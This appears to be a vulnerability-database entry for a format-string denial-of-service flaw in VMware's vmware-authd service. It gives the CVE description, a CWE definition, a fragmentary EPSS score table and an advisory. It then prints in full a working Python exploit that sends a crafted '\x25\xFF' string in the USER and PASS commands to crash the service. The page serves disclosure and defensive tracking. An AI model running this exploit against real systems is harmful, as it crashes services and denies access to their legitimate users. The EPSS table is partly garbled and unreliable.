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VMware Authentication Daemon 1.0 in vmware-authd.exe in the VMware Authorization Service in VMware Workstation 7.0 before 7.0.1 build 227600 and 6.5.x before 6.5.4 build 246459, VMware Player 3.0 before 3.0.1 build 227600 and 2.5.x before 2.5.4 build 246459, VMware ACE 2.6 before 2.6.1 build 227600 and 2.5.x before 2.5.4 build 246459, and VMware Server 2.x allows remote attackers to cause a denial of service (process crash) via a \x25\xFF sequence in the USER and PASS commands, related to a "format string DoS" issue. NOTE: some of these details are obtained from third party information.
Use of Externally-Controlled Format String The product uses a function that accepts a format string as an argument, but the format string originates from an external source.
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EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
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12.57%
–
–
2022-04-03
–
–
12.57%
–
–
2023-02-26
–
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12.57%
–
–
2023-03-12
–
–
–
15.89%
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2023-10-22
–
–
–
13.89%
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2024-02-18
–
–
–
46.99%
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2024-06-02
–
–
–
46.99%
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2024-08-25
–
–
–
46.99%
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2024-12-22
–
–
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38.03%
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2025-01-19
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–
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38.03%
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2025-03-18
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–
–
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16.89%
2025-04-15
–
–
–
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16.89%
2025-04-15
–
–
–
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16.89,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
source: https://www.securityfocus.com/bid/36630/info
VMware Player and Workstation are prone to a remote denial-of-service vulnerability because the applications fail to perform adequate validation checks on user-supplied input.
An attacker can exploit this issue to crash the 'vmware-authd' process, denying service to legitimate users.
NOTE: This issue was also covered in BID 39345 (VMware Hosted Products VMSA-2010-0007 Multiple Remote and Local Vulnerabilities); this BID is being retained to properly document the issue.
# ----------------------------------------------------------------------------
# VMware Authorization Service <= 2.5.3 (vmware-authd.exe) Format String DoS
# url: http://www.vmware.com/
#
# author: shinnai
# mail: shinnai[at]autistici[dot]org
# site: http://www.shinnai.net
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
# Tested on Windows XP Professional Ita SP3 full patched
# ----------------------------------------------------------------------------
# usage: C:\>exploit.py 127.0.0.1 912
import socket
import time
import sys
host = str(sys.argv[1])
port = int(sys.argv[2])
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
conn = s.connect((host, port))
d = s.recv(1024)
print "Server <- " + d
s.send('USER \x25\xFF \r\n')
print 'Sending command "USER" + evil string...'
d = s.recv(1024)
print "Server response <- " + d
s.send('PASS \x25\xFF \r\n')
print 'Sending command "PASS" + evil string...'
try:
d = s.recv(1024)
print "Server response <- " + d
except:
print "\nExploit completed..."
except:
print "Something goes wrong honey..."